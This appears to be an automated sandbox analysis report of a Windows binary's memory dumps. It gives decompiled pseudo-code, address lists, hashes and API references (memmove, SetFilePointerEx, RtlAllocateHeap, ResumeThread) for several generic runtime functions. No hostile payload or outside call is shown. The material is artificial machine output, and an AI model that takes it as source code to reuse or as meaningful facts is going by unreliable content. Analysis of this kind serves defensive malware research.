Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: ed3ca896f91b20f780d7a834b54d3b57c07de6c5d75d9b4f2003f43e81ab2504
Instruction ID: 7f1dc082eb133c90e73e4a12551c8a99e1b440879f77b669b786ab1e0708cce6
Opcode Fuzzy Hash: ed3ca896f91b20f780d7a834b54d3b57c07de6c5d75d9b4f2003f43e81ab2504
Instruction Fuzzy Hash: 8B31CBB9600656EFC724DF29C480A61F3E4FF48310B04D5A9DA8DDB796E730E852CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00EE31B0, Relevance: 1.6, APIs: 1, Instructions: 95
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E00EE31B0(intOrPtr* __eax, signed int __edx, signed int* __edi, void* __eflags, void* __fp0, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				intOrPtr _v12;
				signed int _v16;
				void* __esi;
				signed int _t48;
				intOrPtr _t51;
				intOrPtr* _t53;
				signed int _t55;
				signed int _t64;
				signed int _t65;
				intOrPtr _t66;
				signed short* _t68;
				signed int _t80;
				signed int* _t86;
				intOrPtr* _t87;
				void* _t88;
				void* _t97;

				_t97 = __fp0;
				_t86 = __edi;
				_t79 = __edx;
				_t87 = __eax;
				E00EE3580(__eax);
				_t64 =  *__edi;
				_t66 = _a8;
				 *__edi = _t64 + 1;
				if( *((short*)(_t66 + 2 + _t64 * 2)) == 0) {
					L15:
					E00F405C5(_t79, _t97, _a4, 0x138a, _t64);
					return 1;
				}
				_t80 =  *(_t66 + _t64 * 2) & 0x0000ffff;
				_v16 = _t64;
				_v8 = _t80;
				while(1) {
					_t68 = _t66 +  *_t86 * 2;
					_t48 =  *_t68 & 0x0000ffff;
					if(_t48 == _t80) {
						goto L9;
					}
					_t65 = _t48;
					_t53 =  *((intOrPtr*)(_t87 + 0xc));
					if( *_t53 > 1) {
						 *_t53 =  *_t53 - 1;
						E00EE15E0(_t87);
						_t55 = E00F2653C( *(_t87 + 4) + 2);
						 *(_t87 + 8) = _t55;
						_push( ~(0 | __eflags > 0x00000000) | _t55 * 0x00000002);
						_v12 = E00EF14F7(_t86, _t87, __eflags);
						E00EF0D80(_t57,  *_t87,  *(_t87 + 4) +  *(_t87 + 4) + 2);
						_t88 = _t88 + 0x10;
						 *_t87 = _v12;
					} else {
						E00EE3130( *(_t87 + 4) + 1, _t87, _t97); // executed
					}
					 *( *_t87 +  *(_t87 + 4) * 2) = _t65;
					 *(_t87 + 4) =  *(_t87 + 4) + 1;
					 *_t86 =  *_t86 + 1;
					 *( *_t87 +  *(_t87 + 4) * 2) = 0;
					L7:
					_t79 =  *_t86;
					_t51 = _a8;
					if( *((short*)(_t51 +  *_t86 * 2)) != 0) {
						_t80 = _v8;
						_t66 = _t51;
						continue;
					}
					_t64 = _v16;
					goto L15;
					L9:
					__eflags = _t68[1] - _t80;
					if(_t68[1] == _t80) {
						E00EE3250(_t87, _t97, _t48);
						 *_t86 =  *_t86 + 2;
						goto L7;
					}
					 *_t86 =  *_t86 + 1;
					__eflags = 0;
					return 0;
				}
			}

0x00ee31b0
0x00ee31b0
0x00ee31b0
0x00ee31b8
0x00ee31ba
0x00ee31bf
0x00ee31c1
0x00ee31cd
0x00ee31cf
0x00f07cd5
0x00f07cdf
0x00000000
0x00f07ce4
0x00ee31d5
0x00ee31d9
0x00ee31dc
0x00ee31e6
0x00ee31e8
0x00ee31eb
0x00ee31f1
0x00000000
0x00000000
0x00ee31f3
0x00ee31f5
0x00ee31fb
0x00f07c82
0x00f07c84
0x00f07c90
0x00f07c97
0x00f07ca8
0x00f07cbd
0x00f07cc0
0x00f07cc8
0x00f07ccb
0x00ee3201
0x00ee3205
0x00ee3205
0x00ee320f
0x00ee3213
0x00ee321d
0x00ee321f
0x00ee3223
0x00ee3223
0x00ee3225
0x00ee322d
0x00ee31e1
0x00ee31e4
0x00000000
0x00ee31e4
0x00f07cd2
0x00000000
0x00ee3234
0x00ee3234
0x00ee3238
0x00f07c75
0x00f07c7a
0x00000000
0x00f07c7a
0x00ee323e
0x00ee3240
0x00000000
0x00ee3240

APIs

_memmove.LIBCMT ref: 00F07CC0

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 007705c794eaee75795cba5dd329afecccc585520ca502e61989b9a067e0ab0d
Instruction ID: aefca9249948b587dd5d3f53b0188c539777ab4776e8d4f4066815469cb01366
Opcode Fuzzy Hash: 007705c794eaee75795cba5dd329afecccc585520ca502e61989b9a067e0ab0d
Instruction Fuzzy Hash: FB319170A04208DFC724EF69C48196AB3F5FF58304B20C59DE5969B392EB36EE51DB90

Uniqueness

Uniqueness Score: -1.00%

Function 00EEE1B0, Relevance: 1.6, APIs: 1, Instructions: 94
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E00EEE1B0(void* __edx, void** __esi, union _LARGE_INTEGER _a4, union _LARGE_INTEGER* _a8, intOrPtr _a12) {
				void* _v12;
				void* _t30;
				int _t33;
				void* _t34;
				void* _t35;
				union _LARGE_INTEGER _t36;
				void* _t40;
				union _LARGE_INTEGER _t46;
				union _LARGE_INTEGER* _t50;
				void* _t52;
				void* _t53;
				union _LARGE_INTEGER _t54;
				void* _t56;
				intOrPtr _t58;
				void** _t62;
				void* _t69;
				void* _t71;

				_t62 = __esi;
				_t53 = __edx;
				_t58 = _a12;
				if(__esi[2] == 0 || _t58 != 1 && _t58 != 0) {
					L14:
					_t62[2] = 0;
					_t62[3] = 0;
					if(_t58 == 1) {
						_t30 = E00EEE270(_t62);
						asm("sbb eax, edx");
						_a4.LowPart = _a4.LowPart + _t62[4] - _t30;
						asm("adc [ebp+0xc], eax");
					}
					_t54 = _a4.LowPart;
					_push(_t58);
					_t33 = SetFilePointerEx( *_t62, _t54, _a8, 0); // executed
					_t34 = E00EEE270(_t62); // executed
					_t62[4] = _t34;
					_t62[5] = _t54;
					if(_t33 != 0) {
						goto L12;
					}
					_t35 = 0;
					goto L13;
				} else {
					_t36 = _a4;
					_t50 = _a8;
					if(_t58 == 1) {
						_t46 = _t62[5];
						_t53 = _t62[4] + _t36;
						_v12 = _t53;
						asm("adc ebx, ecx");
					} else {
						_v12 = _t36;
						_t46 = _t50;
					}
					asm("cdq");
					_t52 = _t62[4] - _t62[3];
					asm("sbb edi, edx");
					_t69 = _t46 - _t62[5];
					if(_t69 < 0 || _t69 <= 0 && _v12 < _t52) {
						L17:
						_t58 = _a12;
						goto L14;
					} else {
						asm("cdq");
						asm("adc edx, edi");
						_t40 = _t62[2] + _t52 - 1;
						asm("sbb edx, 0x0");
						_t71 = _t46 - _t53;
						if(_t71 > 0) {
							goto L17;
						}
						_t56 = _v12;
						if(_t71 < 0 || _t56 <= _t40) {
							_t62[3] = _t56 - _t52;
							_t62[4] = _t56;
							_t62[5] = _t46;
							L12:
							_t35 = 1;
							L13:
							return _t35;
						} else {
							goto L17;
						}
					}
				}
			}

0x00eee1b0
0x00eee1b0
0x00eee1bb
0x00eee1c0
0x00eee22a
0x00eee22c
0x00eee22f
0x00eee235
0x00f05db3
0x00f05dc0
0x00f05dc2
0x00f05dc5
0x00f05dc5
0x00eee23e
0x00eee243
0x00eee248
0x00eee251
0x00eee256
0x00eee259
0x00eee25e
0x00000000
0x00000000
0x00f05dcd
0x00000000
0x00eee1cb
0x00eee1cb
0x00eee1ce
0x00eee1d4
0x00f05da3
0x00f05da6
0x00f05da8
0x00f05dab
0x00eee1da
0x00eee1da
0x00eee1dd
0x00eee1dd
0x00eee1e8
0x00eee1e9
0x00eee1eb
0x00eee1ed
0x00eee1ef
0x00eee265
0x00eee265
0x00000000
0x00eee1f8
0x00eee1fb
0x00eee1fe
0x00eee200
0x00eee203
0x00eee206
0x00eee208
0x00000000
0x00000000
0x00eee20a
0x00eee20d
0x00eee217
0x00eee21a
0x00eee21d
0x00eee220
0x00eee220
0x00eee222
0x00eee227
0x00000000
0x00000000
0x00000000
0x00eee20d
0x00eee1ef

APIs

SetFilePointerEx.KERNELBASE(?,?,00002000,00000000,?,?,00002000), ref: 00EEE248

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 25e6df0d4999ece8fec506e2d04ca6914a23571568a2aca8701b17e56193082f
Instruction ID: db7ed995380f8a66d568163212d6062a7f8cc9912699b352b7364b2be1523b04
Opcode Fuzzy Hash: 25e6df0d4999ece8fec506e2d04ca6914a23571568a2aca8701b17e56193082f
Instruction Fuzzy Hash: 03317C71A00B499FCB24CE7EE88495AB7FAFB8C710B14DA2EE55A97710D630FC458B50

Uniqueness

Uniqueness Score: -1.00%

Function 00EF0C1C, Relevance: 1.6, APIs: 1, Instructions: 94threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 00EF0CCB

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction ID: d97974db68c93637a2f12a8d5ef1bb8e667e1a9e2f31a16b02dcf7f62f4d1f5e
Opcode Fuzzy Hash: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction Fuzzy Hash: 8831D274A00109DBCB18DF58C590A79F7A6FF49304B6897A5E60AEB252DB31EDC1CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00EE9190, Relevance: 1.6, APIs: 1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cae1abb7f5cf377e638a21b6e0404f71ca908fa80f6439b7cce3da33ea87627f
Instruction ID: 00b3d2468a45a6d3bf938cfc1b54d19e613fe55ba5ccf85c921d1b87e9804997
Opcode Fuzzy Hash: cae1abb7f5cf377e638a21b6e0404f71ca908fa80f6439b7cce3da33ea87627f
Instruction Fuzzy Hash: EB11E7B490128EDBC724DF16DC8AE7A73E4FF41304B25580AE441E7256CB35E880EB51

Uniqueness

Uniqueness Score: -1.00%

Function 00F340A2, Relevance: 1.6, APIs: 1, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E00F340A2(void* __ecx, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12) {
				void* __edi;
				void* __esi;
				void* _t10;
				void* _t12;
				intOrPtr _t16;
				intOrPtr _t17;
				intOrPtr _t18;
				void* _t19;
				intOrPtr _t22;
				intOrPtr* _t23;
				void* _t24;

				_t19 = __ecx;
				_t18 = _a8;
				_t23 = _a4;
				_t22 = _a12;
				if(_t22 == 0 || _t22 == 0xffffffff || _t18 == 0) {
					return E00F2C843(_t19, _t23);
				} else {
					_t10 = E00F149FA(_t23);
					_t29 = _t10;
					if(_t10 == 0) {
						E00F2C877(__eflags, _t23, _t22); // executed
					} else {
						 *((intOrPtr*)( *((intOrPtr*)(_t23 + 0xc)))) =  *((intOrPtr*)( *((intOrPtr*)(_t23 + 0xc)))) - 1;
						E00F14A0F(_t29, _t23);
						_t16 = E00F24CBB(_t22 + 1);
						_push(_t16);
						 *((intOrPtr*)(_t23 + 8)) = _t16;
						_t17 = E00EF14F7(_t22, _t23, _t29);
						_t24 = _t24 + 4;
						 *_t23 = _t17;
					}
					 *((intOrPtr*)(_t23 + 4)) = _t22;
					_t12 = E00EF0D80( *_t23, _t18, _t22);
					 *((char*)(_t22 +  *_t23)) = 0;
					return _t12;
				}
			}

0x00f340a2
0x00f340a6
0x00f340aa
0x00f340ae
0x00f340b3
0x00f340f6
0x00f340be
0x00f340bf
0x00f340c4
0x00f340c6
0x00f340fb
0x00f340c8
0x00f340cb
0x00f340ce
0x00f340d7
0x00f340dc
0x00f340dd
0x00f340e0
0x00f340e5
0x00f340e8
0x00f340e8
0x00f34105
0x00f34108
0x00f34112
0x00f3411a
0x00f3411a

APIs

_memmove.LIBCMT ref: 00F34108

Part of subcall function 00EF14F7: _malloc.LIBCMT ref: 00EF1511

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: _malloc_memmove
String ID:
API String ID: 1183979061-0
Opcode ID: 6d315617b7d10660b537d66a265e741d65b7eea92008633bcc48ed56a9134711
Instruction ID: 903fb92bd9c272600c4e19f4ba9d33f33e4d6b1787adb123086ebe0486de8001
Opcode Fuzzy Hash: 6d315617b7d10660b537d66a265e741d65b7eea92008633bcc48ed56a9134711
Instruction Fuzzy Hash: BD012872604614ABC720EF99EC40EAFB7DCAFD5330B10812AFA5893242D336B55197E5

Uniqueness

Uniqueness Score: -1.00%

Function 00EFF597, Relevance: 1.6, APIs: 1, Instructions: 52
memoryCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E00EFF597(signed int _a4, signed int _a8, long _a12) {
				void* _t10;
				long _t11;
				long _t12;
				signed int _t13;
				signed int _t17;
				long _t19;
				long _t24;

				_t17 = _a4;
				if(_t17 == 0) {
					L3:
					_t24 = _t17 * _a8;
					__eflags = _t24;
					if(_t24 == 0) {
						_t24 = _t24 + 1;
						__eflags = _t24;
					}
					goto L5;
					L6:
					_t10 = RtlAllocateHeap( *0xf76e6c, 8, _t24); // executed
					__eflags = 0;
					if(0 == 0) {
						goto L7;
					}
					L14:
					return _t10;
					goto L15;
					L7:
					__eflags =  *0xf76e68;
					if( *0xf76e68 == 0) {
						_t19 = _a12;
						__eflags = _t19;
						if(_t19 != 0) {
							 *_t19 = 0xc;
						}
					} else {
						_t11 = E00EF18A8(_t24);
						__eflags = _t11;
						if(_t11 != 0) {
							L5:
							_t10 = 0;
							__eflags = _t24 - 0xffffffe0;
							if(_t24 > 0xffffffe0) {
								goto L7;
							} else {
								goto L6;
							}
						} else {
							_t12 = _a12;
							__eflags = _t12;
							if(_t12 != 0) {
								 *_t12 = 0xc;
							}
							_t10 = 0;
						}
					}
					goto L14;
				} else {
					_t13 = 0xffffffe0;
					_t27 = _t13 / _t17 - _a8;
					if(_t13 / _t17 >= _a8) {
						goto L3;
					} else {
						 *((intOrPtr*)(E00EF7E9A(_t27))) = 0xc;
						return 0;
					}
				}
				L15:
			}

0x00eff59c
0x00eff5a1
0x00eff5be
0x00eff5c3
0x00eff5c5
0x00eff5c7
0x00eff5c9
0x00eff5c9
0x00eff5c9
0x00000000
0x00eff5d1
0x00eff5da
0x00eff5e0
0x00eff5e2
0x00000000
0x00000000
0x00eff616
0x00eff618
0x00000000
0x00eff5e4
0x00eff5e4
0x00eff5eb
0x00eff609
0x00eff60c
0x00eff60e
0x00eff610
0x00eff610
0x00eff5ed
0x00eff5ee
0x00eff5f4
0x00eff5f6
0x00eff5ca
0x00eff5ca
0x00eff5cc
0x00eff5cf
0x00000000
0x00000000
0x00000000
0x00000000
0x00eff5f8
0x00eff5f8
0x00eff5fb
0x00eff5fd
0x00eff5ff
0x00eff5ff
0x00eff605
0x00eff605
0x00eff5f6
0x00000000
0x00eff5a3
0x00eff5a7
0x00eff5aa
0x00eff5ad
0x00000000
0x00eff5af
0x00eff5b4
0x00eff5bd
0x00eff5bd
0x00eff5ad
0x00000000

APIs

RtlAllocateHeap.NTDLL(00000008,00EF12DC,00000000,?,00EF6A7F,?,00EF12DC,00000000,00000000,00000000,?,00EF793E,00000001,00000214,?,00EF12DC), ref: 00EFF5DA

Part of subcall function 00EF7E9A: __getptd_noexit.LIBCMT ref: 00EF7E9A

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeap__getptd_noexit
String ID:
API String ID: 328603210-0
Opcode ID: 7b231a2790034cc77f17fff14f5096e0d18c5418e2371f4686b39c1bdecefb38
Instruction ID: 4dd657cb3b847a2ee123fc0af67fdc727783d22d03a3ff44c4e451910468e733
Opcode Fuzzy Hash: 7b231a2790034cc77f17fff14f5096e0d18c5418e2371f4686b39c1bdecefb38
Instruction Fuzzy Hash: F501B13620021D9BEB289F25EC54B763795AF81B68F165579EA15EB1A0DB70CC40C6A0

Uniqueness

Uniqueness Score: -1.00%

Function 00EE3250, Relevance: 1.6, APIs: 1, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 74%

			E00EE3250(intOrPtr* __eax, void* __fp0, short _a4) {
				void* __edi;
				void* __esi;
				intOrPtr* _t24;
				signed int _t28;
				void* _t51;
				intOrPtr _t52;
				intOrPtr* _t54;

				_t54 = __eax;
				_t24 =  *((intOrPtr*)(__eax + 0xc));
				if( *_t24 > 1) {
					 *_t24 =  *_t24 - 1;
					_push(_t51);
					E00EE15E0(__eax);
					_t28 = E00F2653C( *(_t54 + 4) + 2);
					 *(_t54 + 8) = _t28;
					_push( ~(0 | __eflags > 0x00000000) | _t28 * 0x00000002);
					_t52 = E00EF14F7(_t51, _t54, __eflags);
					E00EF0D80(_t52,  *_t54,  *(_t54 + 4) +  *(_t54 + 4) + 2);
					 *_t54 = _t52;
				} else {
					E00EE3130( *((intOrPtr*)(__eax + 4)) + 1, __eax, __fp0); // executed
				}
				 *((short*)( *_t54 +  *(_t54 + 4) * 2)) = _a4;
				 *(_t54 + 4) =  *(_t54 + 4) + 1;
				 *((short*)( *_t54 +  *(_t54 + 4) * 2)) = 0;
				return _t54;
			}

0x00ee3254
0x00ee3256
0x00ee325c
0x00f06c81
0x00f06c83
0x00f06c84
0x00f06c90
0x00f06c97
0x00f06ca8
0x00f06cb0
0x00f06cbc
0x00f06cc4
0x00ee3262
0x00ee3266
0x00ee3266
0x00ee3274
0x00ee3278
0x00ee3282
0x00ee328a

APIs

_memmove.LIBCMT ref: 00F06CBC

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: d004d5c534d2375e1baeed5304de0fa19ac847193422e3c755db1f05f6603096
Instruction ID: 5f64fd7108291314cf1253da143dbfc4b592b40bf98539037506258344fd166a
Opcode Fuzzy Hash: d004d5c534d2375e1baeed5304de0fa19ac847193422e3c755db1f05f6603096
Instruction Fuzzy Hash: DD015A752006449FC328DF6DD946D37B3E4EF98744714886DE59AC7752EA32E802DB90

Uniqueness

Uniqueness Score: -1.00%

Function 00F330A7, Relevance: 1.6, APIs: 1, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E00F330A7(void* __ecx, void* __eflags, intOrPtr* _a4, intOrPtr _a8) {
				void* __edi;
				void* __esi;
				intOrPtr* _t12;
				intOrPtr _t17;
				intOrPtr _t30;
				intOrPtr* _t31;
				void* _t36;

				_t36 = __eflags;
				_t31 = _a4;
				_t30 = _a8;
				E00EE9190(_t30, _t31);
				_push(8);
				_t12 = E00EF14F7(_t30, _t31, _t36);
				 *_t31 = _t12;
				 *_t12 = _t30;
				_t37 = _t30;
				if(_t30 == 0) {
					_push(1);
					 *((intOrPtr*)( *_t31 + 4)) = E00EF14F7(_t30, _t31, __eflags);
					 *((char*)( *((intOrPtr*)( *_t31 + 4)))) = 0;
					 *((intOrPtr*)(_t31 + 8)) = 0xb;
					return  *((intOrPtr*)( *_t31 + 4));
				} else {
					_push( *((intOrPtr*)( *_t31))); // executed
					_t17 = E00EF14F7(_t30, _t31, _t37); // executed
					 *((intOrPtr*)( *_t31 + 4)) = _t17;
					E00EF2E60( *((intOrPtr*)( *_t31 + 4)), 0,  *((intOrPtr*)( *_t31)));
					 *((intOrPtr*)(_t31 + 8)) = 0xb;
					return  *((intOrPtr*)( *_t31 + 4));
				}
			}

0x00f330a7
0x00f330ab
0x00f330af
0x00f330b2
0x00f330b7
0x00f330b9
0x00f330c1
0x00f330c3
0x00f330c5
0x00f330c7
0x00f330fd
0x00f33106
0x00f33111
0x00f33116
0x00f33123
0x00f330c9
0x00f330cd
0x00f330ce
0x00f330d5
0x00f330e3
0x00f330ed
0x00f330fa
0x00f330fa

APIs

Part of subcall function 00EF14F7: _malloc.LIBCMT ref: 00EF1511

Part of subcall function 00EF14F7: std::exception::exception.LIBCMT ref: 00EF1546
Part of subcall function 00EF14F7: std::exception::exception.LIBCMT ref: 00EF1560
Part of subcall function 00EF14F7: __CxxThrowException@8.LIBCMT ref: 00EF1571

_memset.LIBCMT ref: 00F330E3

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: std::exception::exception$Exception@8Throw_malloc_memset
String ID:
API String ID: 1169493612-0
Opcode ID: b17a19bfa6e022758fe658764bb2bc4b4a8effc45995baaa177408ecd83d95d0
Instruction ID: b9e88f3886f5e70c260b70b7af90f2e675f4623841a89540f9eddb9dd8580df9
Opcode Fuzzy Hash: b17a19bfa6e022758fe658764bb2bc4b4a8effc45995baaa177408ecd83d95d0
Instruction Fuzzy Hash: 461105B92002449FD310EF5CD481F62BBE5EF99311F2485ADE2999B352D772E801CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 00F4FD26, Relevance: 1.5, APIs: 1, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00F4FD26(void* __eflags, intOrPtr _a4, short* _a8) {
				void* __ebx;
				void* __esi;
				signed int _t6;

				_t12 = _a8;
				_t15 = _a4 + 0x18;
				 *_a8 = 0;
				E00EE3580(_a4 + 0x18);
				_t6 = E00F4E680(_a8, _a4, _a4 + 0x18); // executed
				if(_t6 == 0) {
					return 0;
				} else {
					E00EEC850(_t6 | 0xffffffff, _t15, 0xffe);
					E00EF1487(_t12,  *_t15);
					return 1;
				}
			}

0x00f4fd2b
0x00f4fd35
0x00f4fd38
0x00f4fd3b
0x00f4fd42
0x00f4fd49
0x00f4fd76
0x00f4fd4b
0x00f4fd54
0x00f4fd5d
0x00f4fd6c
0x00f4fd6c

APIs

_wcscpy.LIBCMT ref: 00F4FD5D

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: _wcscpy
String ID:
API String ID: 3048848545-0
Opcode ID: c268edffd11c4cbb4d224b8625af7d214eeeb5606354a08f8d4cf2e0546bcfa6
Instruction ID: 65629d47b2b3f96519576108a2101a51bf92f5d72359443503adbf681acf6b7b
Opcode Fuzzy Hash: c268edffd11c4cbb4d224b8625af7d214eeeb5606354a08f8d4cf2e0546bcfa6
Instruction Fuzzy Hash: A8F05C335143183597106B66BC42CE7B79CFF92330710022BFA1867281E522744593F4

Uniqueness

Uniqueness Score: -1.00%

Function 00EE2920, Relevance: 1.5, APIs: 1, Instructions: 36
COMMON

Download Yara Rule

C-Code - Quality: 74%

			E00EE2920(intOrPtr* __eax) {
				void* __edi;
				void* __esi;
				intOrPtr* _t14;
				signed int _t18;
				intOrPtr _t20;
				void* _t22;
				signed int _t26;
				void* _t31;
				intOrPtr _t32;
				intOrPtr* _t34;

				_t34 = __eax;
				_t1 = _t34 + 0xc; // 0x9
				_t14 =  *_t1;
				if( *_t14 > 1) {
					 *_t14 =  *_t14 - 1;
					_push(_t31);
					E00EE15E0(__eax);
					_t2 = _t34 + 4; // 0x1010101
					_t18 = E00F2653C( *_t2 + 1);
					 *(_t34 + 8) = _t18;
					_t26 =  ~(0 | __eflags > 0x00000000) | _t18 * 0x00000002;
					__eflags = _t26;
					_push(_t26); // executed
					_t20 = E00EF14F7(_t31, _t34, _t26); // executed
					_t32 = _t20;
					_t10 = _t34 + 4; // 0x1010101
					_t12 =  *_t10 + 2; // 0x1010103
					_t22 = E00EF0D80(_t32,  *_t34,  *_t10 + _t12);
					 *_t34 = _t32;
					return _t22;
				} else {
					return _t14;
				}
			}

0x00ee2921
0x00ee2923
0x00ee2923
0x00ee2929
0x00f067e3
0x00f067e5
0x00f067e6
0x00f067eb
0x00f067f0
0x00f067f7
0x00f06806
0x00f06806
0x00f06808
